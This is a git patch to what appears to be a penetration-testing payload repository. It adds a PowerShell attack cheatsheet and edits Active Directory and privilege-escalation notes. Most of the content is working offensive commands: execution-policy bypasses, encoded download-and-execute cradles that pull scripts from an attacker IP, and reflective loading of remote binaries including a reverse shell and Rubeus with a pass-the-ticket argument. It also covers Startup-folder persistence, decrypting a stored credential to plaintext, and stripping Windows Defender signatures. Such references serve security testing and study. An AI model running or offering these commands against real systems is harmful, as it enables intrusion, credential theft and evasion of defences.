From 7d9dd6806e91bb10c2c1b0cf903e0cae12c6f0f5 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 6 Nov 2021 19:14:47 +0100 Subject: [PATCH] Powershell Cheatsheet --- .../Active Directory Attack.md | 2 +- .../Powershell - Cheatsheet.md | 110 ++++++++++++++++++ .../Windows - Privilege Escalation.md | 3 +- 3 files changed, 113 insertions(+), 2 deletions(-) create mode 100644 Methodology and Resources/Powershell - Cheatsheet.md diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index 24a322f..8834da2 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -1448,7 +1448,7 @@ Interesting services to target with a silver ticket : | Service Type | Service Silver Tickets | Attack | |---------------------------------------------|------------------------|--------| | WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` | -| PowerShell Remoting | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` | +| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` | | WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` | | Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` | | Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` | diff --git a/Methodology and Resources/Powershell - Cheatsheet.md b/Methodology and Resources/Powershell - Cheatsheet.md new file mode 100644 index 0000000..9d64f1f --- /dev/null +++ b/Methodology and Resources/Powershell - Cheatsheet.md @@ -0,0 +1,110 @@ +# Powershell + +## Summary + +* Execution Policy +* Encoded Commands +* Download file +* Load Powershell scripts +* Load C# assembly reflectively +* Secure String to Plaintext +* References + +## Execution Policy + +```ps1 +powershell -EncodedCommand $encodedCommand +powershell -ep bypass ./PowerView.ps1 + +# Change execution policy +Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted +Set-ExecutionPolicy Bypass -Scope Process +``` + +## Constrained Mode + +```ps1 +# Check if we are in a constrained mode +# Values could be: FullLanguage or ConstrainedLanguage +$ExecutionContext.SessionState.LanguageMode + +## Bypass +powershell -version 2 +``` + +## Encoded Commands + +* Windows + ```ps1 + $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' + $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) + $encodedCommand = [Convert]::ToBase64String($bytes) + ``` +* Linux: :warning: UTF-16LE encoding is required + ```ps1 + echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0 + ``` + +## Download file + +```ps1 +# Any version +(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1") +wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" +Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output + +# Powershell 4+ +IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" +Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" +``` + +## Load Powershell scripts + +```ps1 +# Proxy-aware +IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') +echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile - +powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex" + +# Non-proxy aware +$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText +``` + +## Load C# assembly reflectively + +```powershell +# Download and run assembly without arguments +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe') +$assem = [System.Reflection.Assembly]::Load($data) +[rev.Program]::Main() + +# Download and run Rubeus, with arguments (make sure to split the args) +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe') +$assem = [System.Reflection.Assembly]::Load($data) +[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) + +# Execute a specific method from an assembly (e.g. a DLL) +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll') +$assem = [System.Reflection.Assembly]::Load($data) +$class = $assem.GetType("ClassLibrary1.Class1") +$method = $class.GetMethod("runner") +$method.Invoke(0, $null) +``` + +## Secure String to Plaintext + +```ps1 +$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring +$user = "HTB\Tom" +$cred = New-Object System.management.Automation.PSCredential($user, $pass) +$cred.GetNetworkCredential() | fl +UserName : Tom +Password : 1ts-mag1c!!! +SecurePassword : System.Security.SecureString +Domain : HTB +``` + +## References + +* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) +* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters) \ No newline at end of file diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index 52057a2..c67f48e 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -274,7 +274,8 @@ PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks" PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" # remove signatures (if Internet connection is present, they will be downloaded again): -PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All +PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All +PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` ### Firewall